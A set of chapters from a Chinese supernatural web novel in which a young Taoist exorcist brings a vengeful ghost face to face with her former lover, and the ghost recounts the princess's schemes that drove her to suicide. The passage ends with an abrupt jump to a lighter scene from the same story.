做耳报神这几年,借着殷琉璃的真气,差不多修到了鬼仙级别。
却被殷琉璃一个小丫头,揪住耳朵在地上求饶,还被凡人看见,它这张老脸算是没法见人了!
殷琉璃眉头一挑,“你说什么?”
“没什么!主人,哇呀呀去也……”
哇呀呀顿时打了个激灵,转身一头扎进黑暗的夜空,消失的无影无踪。
跑的比狗都快!
第131章 人不人鬼不鬼
得罪了主人还不跑,那不是找死嘛!
“咕咚……”
顾方涵身形晃了晃,差点儿跌坐在地。
“顾叔?”
殷琉璃连忙上前搀扶,奇怪的问,“你怎么了?”
“没、没什么,让你见笑了。”
顾方涵暗暗吸了一口气,小心翼翼的看着殷琉璃,“刚才那个……那个青面獠牙的家伙,也是一只、一只厉鬼?”
“你说哇呀呀?是呀,他前世是个将军,战死疆场后化作青面厉鬼,不过现在是我的耳报神。”
殷琉璃恍然的笑了笑,“吓到你了,顾叔?哇呀呀刚才不听话,我教训它来着。”
顾方涵不好意思的笑笑,
“是、是有点儿吓到了,还请……还请琉璃姑娘和楚公子不要见怪。
实在惭愧,你顾叔我以前从来不信鬼神之说。”
殷琉璃却皱起眉来,
“顾叔,你看到哇呀呀都害怕,我必须给你提个醒。
孙蓉如今就是一只厉鬼,她的模样,不比哇呀呀好上多少。
一会儿你见了她,心里要有个数,不要再以十几年前的形容,去对照,不然我怕你受不了。”
顾方涵身子微微一颤,吃惊的问,
“琉璃,你是说……我、我能见到小蓉?”
殷琉璃点了点头,
“她本就怨气冲天,又被成懿公主三番五次言语刺激,煞气更盛从前。”
“阿懿她……”
顾方涵唇边勾起一抹苦笑,眼眶湿红起来。
殷琉璃抿了抿唇,
“顾叔,我一会儿会将孙蓉的阴魂,从收魂符中放出来,你做好准备。
有我和大师兄在场,她不会把你怎样,你要做的是,问出当年到底发生了什么事情,成懿公主到底对她做了什么,让她这口怨气,积累了十几年终于爆发。”
顾方涵幽深的眼睛里,涌动着复杂的情绪,点了点头。
殷琉璃将他引到一间安静的屋内。
让殷梅几人去外面候着,只留顾方涵一人。
屋子里点燃着四支烛火,幽暗昏黄的烛光,在没有风的情况下,不安的摇曳跳动。
将正间屋子映照出重重阴影,气氛显得格外阴沉压抑。
顾方涵屏住呼吸,心里涌上一阵阵复杂的情绪,说不出是期待还是害怕。
但能在有生之年再见到小蓉一面,平息她心头的怨愤,他也知足了。
殷琉璃将手魂符托在掌心,抬手做了一个剑指,将真气灌入指尖,将收魂符中的孙蓉放了出来。
“呼……”
一阵强劲的阴风扑来,屋内几只蜡烛同时灭掉。
气氛瞬间下降几度,阴冷的气息如蛆附骨一般,往人身体里一丝一丝的渗。
幽暗的屋子里,一团漆黑的身影紧紧贴在墙上,双臂以诡异的姿势张开。
顾方涵虽看不到它,却能感觉到一双凶狠怨毒的眼睛,在死死盯着自己。
“小、小蓉?”
他艰难的张了张嘴,微颤的双唇中吐出几个字,“是你吗?我是、我是方涵……”
“啊……”
阴森凄厉的叫声,刺入耳膜。
墙上那团黑影突然暴起,伸出双手向顾方涵扑了过来。
“老实点儿。”
殷琉璃手指一翻,将一道“镇鬼符”打了出去。
“砰!”
黑影重重摔在墙上,痛苦的翻滚,发出一声声撕心裂肺的怒吼,
“啊!……”
殷玉珠那道符,已经伤了她的魂魄。
她挣扎了几下,大概知道自己不是殷琉璃的对手,转头就要往墙上隐去。
阴魂、灵体没有肉身实体,它们逃脱危险最好的办法,就是土遁。
“还想土遁?”
殷琉璃将手中的灵光,往墙壁上一拍,“我叫你你哪儿也去不了!”
四周墙壁瞬间变得如铁通一般坚固。
孙蓉的阴魂重重的撞在墙上。
她青黑狰狞的脸上满是慌张,一双手疯了似的在墙上乱摸,口中发出惊恐万状的哭喊声,
“放我出去!放我出去……”
殷琉璃挑了挑眉,“顾方涵就在这儿,你不想见他吗?”
“我不要见他……我、我不要见他!”
孙蓉浑身狠狠一颤,疯狂抓挠的双手也停了下来。
殷琉璃有些不解,皱眉道,
“顾叔不是你最喜欢的人吗?你**这么多年,好容易有一次相见的机会,让你可以把自己的
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冤屈全都说出来,怎么又不想了?”
孙蓉颤抖的身体,缓缓瘫软了下去,抬手捂住自己的脸,痛苦的大哭,
“我恨他!我恨他!是他抛弃了我,是他害**我!
方涵哥哥……他、他还跟年少时一般俊朗,他功成名就,可我呢?
我现在变成什么样子?哈哈哈哈……我现在是什么鬼样子,你看看我是现在是什么鬼样!我怎么见方涵哥哥!”
殷琉璃有点儿意外。
她收过的厉鬼,没有一百也有八十。
厉鬼心中的人性,几乎全都被仇恨和怨念取代,它们心里只剩下执念,凭借鬼性本能行事。
哪一个不是迫不及待,想把仇人撕碎的?
第一次看见孙蓉这般,一会儿人一会儿鬼,人不人鬼不鬼的。
嘴里恨的要死,却害怕自己一身鬼相,不敢见自己的仇人。
“小蓉,她、她在哪儿?”
顾方涵噌的一下起身,慌乱的问殷琉璃,“琉璃姑娘,她已经出来了,是吗?”
殷琉璃点点头,
“出来了,只是她不肯主动现身见你。”
顾方涵心头涌上一抹悲凉,踉跄着向那一团朦胧的黑气走去,口中喃喃的说道,
“小蓉,你为什么不肯见我?我是方涵哥哥,我、我知道是我辜负了你,我不求你的原谅,只求你肯见我一面,好吗?”
“你别过来,别过来!小道士,我求求你,别让他过来!”
孙蓉惊恐的往后缩着,惊恐万状。
直到撞在墙角,她赶忙将身子缩成一团,紧紧抱住双膝,将那张可怖的脸埋了进去,瑟瑟发抖。
楚**察觉到一丝危险的气息,上前将顾方涵拉住,轻轻摇了下头示意他不要动。
孙蓉的阴魂,似乎要化煞。
殷琉璃手中灵符,随时准备出手。
顾方涵心如刀绞,声线哽咽道,
“小蓉,你为什么不肯见我!”
“啊!”
孙蓉忽然发出一声痛苦的嘶吼,弥漫在周身的黑煞之气,瞬间暴涨出一倍。
她松开双臂,整个阴体缓缓漂浮到空中,散发出慑人的阴冷。
“嘎嘎嘎嘎嘎……”
整个房间
第132章 反差巨大
整个房间,煞气大盛。
楚**运行真气护体,同时以指代笔,飞速在掌心画下一道“安魂定魄符”。
他默念符咒,以心念催动,“上清地斗,护我心神,阴气不侵,邪气不灵。
唯我心神,抱元守一,不闻不见,急急如律令!”
……
说来惭愧。
运符方面,他比小师妹差了不是一点儿半点。
小师妹天资超绝,已将符咒之术,运用到随心所欲的地步。
许多符咒,她只需在心头一过,灵光便能在指尖乍现。
不像他,还要画出符形,念诵符咒催化。
待掌心灵光闪过,楚**反手将灵符拍入顾方涵后心。
厉鬼所化煞气,如冲击波一般,十分霸道。
极易伤活人魂魄,更有甚者,会将魂魄当场冲出肉身。
楚**用“安魂定魄符”,稳住了顾方涵的三魂七魄。
“杀!杀!”
孙蓉双目赤红,一双鬼爪上,黑色尖甲长了三寸。
殷琉璃手指一翻,抬手将一道“天师镇煞符”,化作灵光打了出去。
“砰!”
孙蓉硬生生抗下灵符,周身浓郁的煞气,“哧哧”往外泻。
它狰狞的鬼脸上,闪过一抹慌乱,着实没想到这个不过十四五岁的小丫头,竟如此厉害!
不过它怨气更盛,源源不断补充外泄的煞气。
虽稳住了身形,可孙蓉也不敢妄动,一双鬼眼死死盯着殷琉璃。
殷琉璃不悦皱眉,清冷的声线喝道,
“孙蓉,你再死不悔改,下一道灵符,就是要你魂飞魄散……”
“不要!琉璃,手下留情!”
顾方涵急切的哀求,“是我和阿懿对不住她,是我们害她变成这个样子。
琉璃,求你看在顾叔的份儿上,让我看看她,让我、让我好好跟她说几句话!”
殷琉璃看了孙蓉一眼,不由皱眉,
“你真要见她?顾叔,听我一句劝,这个时候,你最好还是别见的好,我可以为你们传声。”
“不,琉璃,让我见小蓉一面。”
顾方涵情词恳切。
“顾叔,你可别后悔。”
殷琉璃点了点头,心里轻道,顾瑾焱,你父亲要是吓出个好歹,可不怨我。
她手指一翻,将一张“显身符”的灵光,向孙蓉打了过去。
一个面目狰狞的女鬼,突然出现在顾方涵的眼前。
女鬼后背靠墙,悬浮在半空之中,周身衣裙被道道浓郁的黑气,包裹的模糊不清。
那张脸,更是一片青黑色,几条吓人的青筋,蛇一般爬在它的脸上。
一双赤红的眸子,透着说不出的凶狠、森然。
可那张脸,分明就是当年的小蓉!
当年的小蓉,正值豆蔻年华,容颜娇嫩的如同含苞待放的花朵。
她最是爱美,每日都要用轻粉拂面,在唇上点了淡淡的胭脂,才肯过府找他玩。
小蓉还格外喜欢簪花。
她时常撒娇的,要他采园子里的蔷薇、月季、桃花、梅花,亲手替她戴在发髻上。
可如今的小蓉,披头散发,一张青黑的鬼脸……
剧烈的反差,让顾方涵心脏剧烈颤抖,眼前一黑,差点儿一头栽倒在地上。
殷琉璃撇了撇嘴。
都说让你别看了,脑瓜子嗡嗡的吧?
化煞的厉鬼,哪儿是凡人的胆子能撑住的。
若不是大师兄事先定住他的魂魄,估计现在他也是个鬼了。
殷琉璃伸手搀了他一把。
又将一道真气缓缓送入他的手腕,助他稳固元神。
顾方涵这才勉强稳住身形,豆大的汗珠,顺着脸颊滚落下来。
刚才只一眼,他就感觉魂儿在身体里晃了晃,差点儿飞出去。
“小、小蓉……”
顾方涵只觉得口舌说不出的干涉,艰难的咽了口唾沫,声线颤抖道,
“你我阴阳相隔这么多年,我、我终于又见到你了。”
孙蓉狠狠一颤,下意识抬起衣袖,将自己的脸遮住,愤怒的嘶吼,
“走开!你给我走开……滚啊!”
顾方涵非但没走,还踉跄着向她走近,哽咽的说,
“小蓉……当年,是我害苦了你!可我从未忘记过你,方涵哥哥永远记得小蓉……”
“别说了!我不
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许你说!不许!不许!”
孙蓉凄厉尖叫,一张鬼脸充满了愤怒,冲他嘶吼,
“你还记得小蓉?哈哈哈哈……你巴不得我从这世上消失吧!
我消失了,你就能攀龙附凤,做了身份高贵的驸马,我呢?我呢!”
顾方涵眼中垂泪。
待她哭喊过后,才哽咽着说,
“不管你如何看我,都是我的错,如今我只想补偿……”
“你能补偿什么!”
孙蓉脸色一厉,煞气再次从周身涌起,伸出三寸长黑甲的手指着他,恶狠狠道,
“你知道当年,我是怎么过来的嘛!你为顾家、为你的前途,去娶公主做驸马,我不怪你。
可你春风得意,为何要写来一封封书信,贬低我、谩骂我?!”
“我写书信,骂你?”
顾方涵不由一怔,一脸迷茫的看着她,“小蓉,你说什么!我是给你写了十几封信,可是……”
“你敢说没有!”
孙蓉怒不可遏,面容阴狠喝道,“我与你自幼相识,难道看不出那是你的字迹!
你在信中,毫无怜惜的骂我不知廉耻,嫌弃我身份低微,不自量力,有什么脸面跟那位高高在上的公主争。
你还讥讽我,不过是你随手翻过的一本书,看过一扔,也就罢了……成懿公主,才是你此生最爱!”
“我没有!小蓉,你相信我,我绝没有写过这样的话!”
顾方涵满脸惊愕,举起三根手指指着天,急急的为自己辩白,
“我顾方涵对天发誓,倘若我给你写过这样的话,就叫我顾方涵不得好死,天打五雷轰。”
怒火中烧的孙蓉,根本不信,厉声道,
“顾方涵,赌咒发誓,可是会应验的!就叫天打雷劈了你这个负心人吧!”
殷琉璃和楚**对视一眼,察觉不对。
顾方涵声线坚定,
“小蓉,你要怎样才肯信我?只要你肯信我,你说什么我都会去做!”
“我要你死!”
孙蓉狠狠咬牙,伸出一双鬼爪,向他抓了过来。
“放肆!”
殷琉璃手中骤然起了一道灵光。
第133章 你为什么不躲?
若要让厉鬼在她眼皮子底下,害了活人的性命,那她这十二年的道术就白修了。
手上忽然一僵。
楚**轻轻拉住了她的手。
昏暗的光线下,他冲殷琉璃轻轻摇头,用眼神示意她稍安勿躁。
“大师兄?”
殷琉璃不解的皱眉。
孙蓉锋利的鬼爪,已经到了顾方涵的面前。
顾方涵仰面朝天,站立不动。
那张满是泪水的脸上,带着无奈的苦笑,苦苦望着孙蓉。
殷琉璃暗暗替他心惊。
孙蓉的鬼爪,若从顾方涵当胸穿过,必死无疑。
就算**老子来了,也别想再让他活。
可就在这片刻,画面仿佛被定格。
孙蓉满目狰狞,一双鬼爪堪堪停在顾方涵胸口前,再进一丝,就戳进他的身体里去了。
空气仿佛变得粘稠起来,让人紧张的无法呼吸。
“你……你为什么不躲?”
孙蓉嘶哑的声音,开始颤抖。
顾方涵摇了摇头,轻声道,
“杀了我,若能平息你心中怨气,方涵哥哥死而无憾。”
孙蓉狰狞的脸上,充满了不可思议。
“小蓉……”
顾方涵抬手,在她的头上缓缓抚摸,哽咽的说,“方涵哥哥,什么时候骗过你?方涵哥哥答应过,这辈子都不会骗你……”
他摸不到实体,只感觉掌心下,是一团阴寒凛冽的气息。
空气突然一静。
孙蓉那双赤色的眸子,忽然流出一行血泪,
“方涵哥哥……”
她悬浮在半空的身子,缓缓坠了下来,站在顾方涵的面前,哽咽道,
“你怎么这么傻?我真的会、会杀了你的!”
殷琉璃看到她周身浓郁的煞气,已然消散大半。
“大师兄,你怎么知道……”
殷琉璃头一次看的目瞪口呆,悄悄扯了下楚**的衣角,懵懂的追问,“你怎么知道孙蓉,不是真的要杀顾叔?”
楚**唇边勾起一抹苦笑,抓过殷琉璃的手,在她掌心轻轻写下一个“情”字。
孙蓉爱而不得,但她实实在在是爱顾方涵的。
在她的心里,没有什么比爱的那个人,更重要。
他自己,不就是这种心境?
他爱了十二年的小师妹,就要嫁为人妇,他不恨小师妹,只恨自己无能,他发誓这辈子,都会默默的守护着她。
“大师兄,你好厉害呀!”
殷琉璃明白过来,忍不住赞道,“真不知道你从哪儿学来的,我怎么都不知道。”
楚**无奈的笑了笑。
你天性纯真,将一切看的自然通透,随性而为,必然是不会懂的。
“小蓉!你肯信我就好。”
顾方涵轻轻摇头,潸然泪下,
“当年我的确写信给你,可我写的是给你道歉,我叫你忘了我,寻个疼你护你的人,与他白头偕老。
你怎的这么执拗……”
孙蓉呆呆的望着他,脸上露出一抹恍惚,
“你给我的信,全然不是这般……方涵哥哥,怎么会这样?”
“顾叔的信,应该是被人偷换了。”
殷琉璃皱眉道,“那人用他的字迹写信羞辱、逼迫,你不分青红皂白,就中了人家的诡计,服毒,真笨!”
孙蓉身子狠狠一颤,痛苦失声,
“我哪里知道!当年我看了那些信,已经万念俱灰。
后来不知是谁将我的事情传出去,整个京城的人都嘲笑我,贬低我,我沦为了整个京城的笑柄!”
“后来,爹爹和母亲受不住流言蜚语,都、都嫌弃我埋怨我给孙家丢脸,我实在活不下去了……”
听着她的哭诉,顾方涵泪如雨下,心如刀绞,
“小蓉,你受苦了……”
孙蓉抬头望着他的眼睛,缓缓道,
“方涵哥哥,你知道是谁让那些不堪的话,传遍整个京城的吗?”
顾方涵心头蓦地一紧,“是、是谁?”
孙蓉脸上露出一抹森然的冷笑,
“是你的妻子,成懿公主!我后来才知道,她不忿你心里还记挂着我,就叫人毁了我的名誉!
如今看来,偷偷换走你的书信的人,应该也是你那位好公主了!”
顾方涵心口上,如同扎了一把刀子。
“不、不会……阿懿她是骄纵了些,可她……”
他骤然失声。
孙蓉暗淡的眸子里,再次涌上怒火,
“她不会?方涵哥哥,你知不知道她对我做的那些事情,还有更让你不可思议的!”
“小蓉……”
顾方涵向后踉跄了几步,幸亏楚**扶了他一把才没有跌倒在地。<
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br>孙蓉步步逼了上来,满脸冷笑道,
“你又知不知道我为何要寻思?就是你的成懿公主,命人将我抓了过去。
她坐在高高的凤榻上,居高临下望着我,对我极尽羞辱……”
孙蓉痛苦的闭上眼睛,再也说不下去了。
往事历历在目,成懿那张倨傲、凌人的脸,再次出现。
“孙小姐,就凭你,也配与本宫抢夫君?”
“别摆出这副苦楚的样子来,没得叫人恶心!”
“你以为方涵喜欢过你吗?他亲口跟本宫说,你们不过是年少相伴,他对你从来就没动过心……”
“你如今名声尽毁,别说方涵,你就是倒贴,恐怕都没人敢要你了……”
……
成懿将她羞辱一番,便放她回去了。
回了府,孙蓉将自己躲在柜子里,蜷缩着身子,流了一天一夜的泪水。
整个孙府的人,见她这样,竟没有一个前来劝慰的。
孙蓉还听见母亲进门,看她那样,便恨铁不成钢的说,
“丢人现眼,真是白养了你了!”
她的两个丫鬟,也在门外偷偷议论,
“小姐想男人不是想疯了吧?人家顾公子都不要她了,她又跑上门找人家,回来可叫夫人骂咱们!”
“小姐如今成了满京城的笑话,万人嫌,咱俩跟着她,以后还有出头之日吗?”
“算了,少不得以后找机会求了夫人,去别的房伺候……也好过在这儿苦熬!”
……
这些话,像一把把锋利的刀子,把孙蓉扎的体无完肤。
她从柜子里出来,坐在梳妆台前,简单的给自己搭理了一下仪容,便从抽屉里取出了一盒朱砂。
这盒上层纯度的朱砂,原是她托人买了,等过年的时候掺入墨汁,给方涵哥哥写春联用的。
她将鲜艳的朱砂放入口中,就着桌上半盏凉茶,硬生生咽进了肚子里。
……
“后来,像是有一把刀子,隔开我的肚子,好痛……”
孙蓉垂下头,眼中流出两行血泪,幽幽的说,
“真的好痛啊,顾方涵!我叫了无数次你的名字,想让你来救我,可你没有。”
“我挣扎了许久、许久,忽然,我看见了床上的自己……就变成了这个样子。”
她蓦地抬起了头。
第134章 告御状
一张苍白如纸的脸,泛着抹诡异的潮红,额头青筋暴起。
双目圆睁,失去光彩眼睛,停留在充满痛苦的时刻。
眼角两行血水,在脸上蜿蜒流淌,双唇撕裂般张开,不断涌出刺眼的鲜红。
痛苦、绝望,狰狞,让她往日珍爱的容颜,变得如同地狱里爬出来的厉鬼!
这是孙蓉的阴魂,站在床前看到自己的模样。
……
顾方涵攥紧手掌,身子一阵阵的发冷,只觉得心口被人用重锤,狠狠的捶了一下。
他仿佛一瞬间失去了所有的力气,瘫坐在地上。
他不是害怕。
而是不知该如何面对,孙蓉那张充满痛苦和绝望的脸。
他曾经那么爱她……
孙蓉眼神哀怨的望着顾方涵,
“方涵哥哥,我是恨过你、怪过你!可我更恨我没有托生在帝王家!
若我也是位身份尊贵的公主,你一定不会被他抢走的,对不对?”
“小蓉,别说了……”
顾方涵声音颤抖,懊悔如同潮水一般,铺天盖地将他淹没。
“我要说,方涵哥哥,我要说!”
孙蓉悲凉的脸上,忽然闪过一抹恨意,声线也变得尖锐起来,
“我亲眼看着自己的身体,装入一口薄棺之中,父亲母亲却连一滴眼泪都没有,半夜就叫人去郊外埋了。
我喉咙里堵着一口气,我不甘、我怨愤……直到我看见你来祭拜,你对我说了许多话,流了许多泪,我才知道你心里还是有我的。”
“小蓉,我……从来没忘记过你。”
顾方涵失声痛哭。
孙蓉满是血污的脸,已然变回了厉鬼的模样,凶神恶煞,
“可你的成懿公主呢,她对我做了什么!她亲手断了我的香,叫人掘开我的坟墓,叫我暴尸荒野!”
顾方涵狠狠一颤,通红的眸子里充满震惊,
“阿懿她怎能……”
一道道黑煞之气,在孙蓉周身盘旋,面色一狞,口中发出瘆人的狂笑,
“成懿,我要杀了你!我一定要杀了你!就算魂飞魄散,我也不会放过你!”
顾方涵脸上,闪过一抹复杂的神色,
“小蓉,不要……”
“顾叔。”
殷琉璃打断了他的话,冷冷的说,“你也看见了,她怨气冲天。若不叫她消了这口怨气,我怕你府上,将永无宁日。”
顾方涵缓缓望向她,颤抖道,
“琉璃,阿懿……一定要死,才能平息小蓉的怨气吗?”
殷琉璃挑了挑眉,
“看她的造化了。”
顾方涵呆坐在地上,木雕一般动也不动一下。
一边,是他青梅竹马的女人,他欠了她一条命。
一边,是与自己相伴十几年,恩爱有加的妻子……
他仿佛站在无底深渊之上,一手拉着小蓉,一手拉着阿懿。
深渊如同一只巨兽,张开血盆大口,将两个女人往口中吸。
松开哪只手,他都做不到。
“小道士,我与成懿的恩怨,你也听见了?”
孙蓉缓缓浮上半空,青黑的鬼脸狰狞冷笑,“我知道我不是你的对手,只要你不怕背了我的因果,你尽管将我收了!”
殷琉璃不悦的挑眉,
“你的因果,跟我有什么关系?”
孙蓉厉声道,
“那你还不放我出去!让我杀了成懿,杀了她,我这口怨气才能出来!”
“她是欺人太甚,杀了她也活该。”
殷琉璃淡淡的哼了一声,话锋一转道,“不过你是阴魂,她是阳间的人,阴阳相隔,两界各有规矩。
若是含冤的厉鬼都像你这般,跑来找人报仇,阴阳两界岂不是要乱套?”
孙蓉勃然大怒,周身煞气张扬,
“那你要怎样?你还要把我收了,镇在符中,让害我的那人逍遥法外?
你说阴阳两界各有规矩,难道助纣为虐,就是你们阳间的规矩!”
殷琉璃一记眼刀飞过去,
“声音大,就有理吗?我最不喜别人在耳边聒噪,再不好好说话,我会教给你怎么说话。”
孙蓉知道她的手段,顿时不敢嚣张。
殷琉璃挑挑眉,伸出两根手指,冲她晃了晃,
“你不就是想申冤,让害你的人得到报应嘛,这还不简单?
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给你两个办法,你自己选:一,我带你去地府,求见阎君,诉说冤屈。
阎君自会将成懿的恶行,记录在善恶簿上,以断她今生来世。”
孙蓉脸色一厉,
“不行!我等不了那么久!我要她死,我要她给我偿命!”
“第二,我带你去见阳间的皇帝,九五之尊,去告御状。”
殷琉璃冷声道,“天地为父母,天子为宗子,皇帝即为天子。
当今圣上以仁德治世,他为你申冤,还不行吗?”
孙蓉赤红的眼睛里,闪过一抹愕然,
“小道士,你、你敢带我去告御状?”
殷琉璃点了点头,“敢。”
顾方涵从满心的混乱中,清醒过来,被殷琉璃这个大胆的想法震惊,慌忙道,
“告御状?不、不可以……琉璃,这怎么行?”
殷琉璃轻描淡写的说,
“皇帝视民如子,大昶朝百姓,皆为他的子民。
要他为含冤而死的子民申冤,有什么不行的?
我以大理寺佐使的身份,将这件**接下,圣上如何不理?”
顾方涵张了张嘴,
“可这……”
这也太荒唐了!
告御状,是谁都能告的嘛?
堂堂大昶朝皇帝日理万机,他眼前全都是家国大事,会为一个阴魂申冤做主?
这种事,闻所未闻。
孙蓉沉着脸道,
“小道士,你不要诓我!便是寻常官府,都有官气坐镇,一般阴魂断不敢进去,更别说皇帝!
我虽怨气冲天,可有皇气克制,我要消耗不少,时间久了也怕支撑不住。
你不是将我诓进宫中,待我煞气消散,你好捉了我,在成懿面前邀功……”
殷琉璃嗤的一声笑了,
“捉了你,还用骗你去见皇帝?只要我想,立刻就能将你打的魂飞魄散,还跟你废这么多口舌?”
这厉鬼,多少有点儿看不起人了。
孙蓉深深抿唇,似在心中抉择。
殷琉璃不耐的看了她一眼,
“要么去地府见阎君,要么进宫见皇帝,你自己选。
快点儿选,我累了。”
第135章 互通消息
顾方涵心里五味杂陈。
他不想孙蓉将此事闹到圣上面前,阿懿该怎么办?
可她对小蓉做的那些事情,实在叫人痛恨。
顾方涵紧紧攥住手掌,如临深渊的感觉再次涌上心头。
他两只手上拉的女人,一上一下,不知哪一个,会被深渊巨口吞噬……
如果必然是你死我活的结局,顾方涵要让两个都活。
“我随你去告御状!”
孙蓉周身浓郁的煞气,渐渐收敛,变回以前的模样。
她漂浮在半空中,眼神幽深的望着顾方涵,声线平静的说,
“方涵哥哥,我不想让你为难,但不去告御状,我便是**,也不会瞑目。”
顾方涵苦笑着摇头,轻声道,
“小蓉,我明白,不管如何,方涵哥哥都明白……”
“顾叔,借你东西用一下。”
殷琉璃随手从他腰间,扯了一块儿玉佩下来,冲孙蓉淡淡道,
“自己进来吧,明日,我带你去见皇帝。”
孙蓉点了点头,身形一闪,便化作一道青烟钻进玉佩中。
殷琉璃收了玉佩,
“顾叔,冒昧的问一句,明日孙蓉状告成懿公主,替自己申冤,你如何作想?”
顾方涵苦笑勾唇,脸上带着一抹说不清道不明的情绪,
“若由得我想,我宁愿小蓉杀我。”
殷琉璃皱了皱眉,“你想替成懿公主死?”
顾方涵又摇头,
“我只是想替我的妻子,赎清罪责。”
他眼神怔忡,缓缓抬起双手看着,喃喃道,
“她们两个皆是因为我,若必要有一个坠入深渊,只能是我……”
“顾叔,你说什么……”
殷琉璃听不懂他的意思,刚要再问,忽然被楚**拉住。
楚**轻轻摇头,要她不要再追问。
顾方涵苦苦一笑,轻叹道,
“成懿再如何作恶,她对我那份情从未少过一分。
小蓉是情窦初开之时的情分,这么多年我虽然已经放下,可到底欠她一条命……
算了,孩子,你还小,很多事情你不会明白。”
殷琉璃不服的鼓了鼓腮帮子,
“你告诉我,我不就明白了?”
顾方涵忽然意味深长的看了眼楚**,
“没有经历过的事情,就是告诉你,你也不会明白。
倒是这位楚公子,难为他了。”
楚**深深抿唇,用眼神跟他道谢。
男人之间,有些事一眼就能看透。
顾方涵虽经历一场混乱,可他知道,楚**始终将一只手背在伸手,随时准备助殷琉璃一臂之力。
倘若殷琉璃对付不了孙蓉,楚**绝对会上前,替她挡下致命一击。
他看殷琉璃的眼神,是个男人都能明白,蕴含着什么情绪。
“我大师兄?”
殷琉璃本就听的云里雾里,顾方涵提到楚**,她更一脸不解,“他有什么好为难的?”
顾方涵摇了摇头,起身离去。
“大师兄,顾叔说你为难什么?”
殷琉璃缠着楚**追问,“明日你又不跟我进宫,你只管好好养伤,有什么好为难的?”
楚**脸色有些尴尬。
殷琉璃一头雾水,不依不饶的说,
“大师兄你说嘛,是不是琉璃哪里做错,让大师兄不高兴了?
你说嘛你说嘛!大师兄说的,琉璃一定改!”
楚**,“……”
从小到大,你调皮捣蛋以后总会这么说,但是从未见你改过!
“呼啦……”
鹤使煽动着翅膀飞了过来,轻轻落在殷琉璃的肩头。
“你回来啦!顾瑾焱派你回来,要说什么?”
殷琉璃顿时抛了满脑子的问号,把楚**丢在一边,迫不及待的打开纸鹤。
楚**眼底闪过一丝落寞,悄无声息的走了出去。
身后很快传来殷琉璃,清灵悦耳的笑声,
“已再皇祖母宫里安顿,勿念……勿念?这几个字就把鹤使派过来,还以为你要说什么呢!
嗯……怎么回呢?我这里的事情也处理好了,顾瑾焱,我要是说明天,我要带孙蓉去告御状,你会不会惊讶?
好,现在就写给你!”
顾瑾焱一句话,就将小师妹的心思,全都拉过去了。
楚**呆呆的站在走廊,心头涌动着说不出的情绪。
……
殷琉璃回房,将纸
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鹤铺平,用蝇头小字在上面写了密密麻麻的话。
她把刚才的事情,全都给他写了一遍。
不知道怎么的,殷琉璃越来越喜欢跟顾瑾焱聊天。
不管什么事情她第一个想到的,就是找顾瑾焱说。
重新叠好鹤使,她抬手一托,将小东西送上半空,然后在灯下托着下巴发呆。
不知道顾瑾焱听到孙蓉告御状,会是什么反应。
不多时,鹤使带着满肚子的消息,又飞回了殷琉璃的手上。
殷琉璃迫不及待的打开,看着信上有力的笔记。
顾瑾焱回信,此事若闹到御前,势必有损皇家颜面。
且他母亲性子倔强倨傲,就算被圣上斥责,也不一定悔改。
不过他让殷琉璃放开手脚去做,成懿公主这边,有他和皇后娘娘在,不会出什么大事情。
他现在就去求见皇祖母,商量一下如何既能保存皇室颜面,又能让孙蓉消除怨恨,最好想个两全其美的办法。
殷琉璃忙给他回道,
“我们兵分两路,互通消息。”
一个面目清朗,眉眼端正,一看就很正气凛然的中年男人急步走了过来。
“师、师叔……你啥时候来的?”
李道幽吓了个激灵,绝望的闭上眼睛。
心里默念,
“你没看到,你什么都没有看到……”
李天鉴一眼就看到红艳艳的鱼鳞,和火堆旁赤裸裸的鱼骨。
正在仰望夜空的鱼头上,一双眼睛死不瞑目。
“你们把师祖爷的鱼吃了?”
他心里咯噔一下,线条刚毅的脸顿时变了颜色,
“大胆!你们、你们难道不知那条鱼是整个清风山的镇脉之宝?
怎么能把它吃掉!简直大逆不道!”
李道幽心脏颤了颤,吓得不敢吭声。
“知道。”
殷琉璃点了点头。
忽然察觉这位师叔眉心间一股黑气,如恶龙般盘旋腾挪,张牙舞爪阴煞十足。
竟大有冲破护体元阳之势。
不应该呀。
清风观修炼的就是捉鬼驱邪的道法,一直和地府有不少业务往来。
百年来着实赚了大把的阴德,口碑相当不错。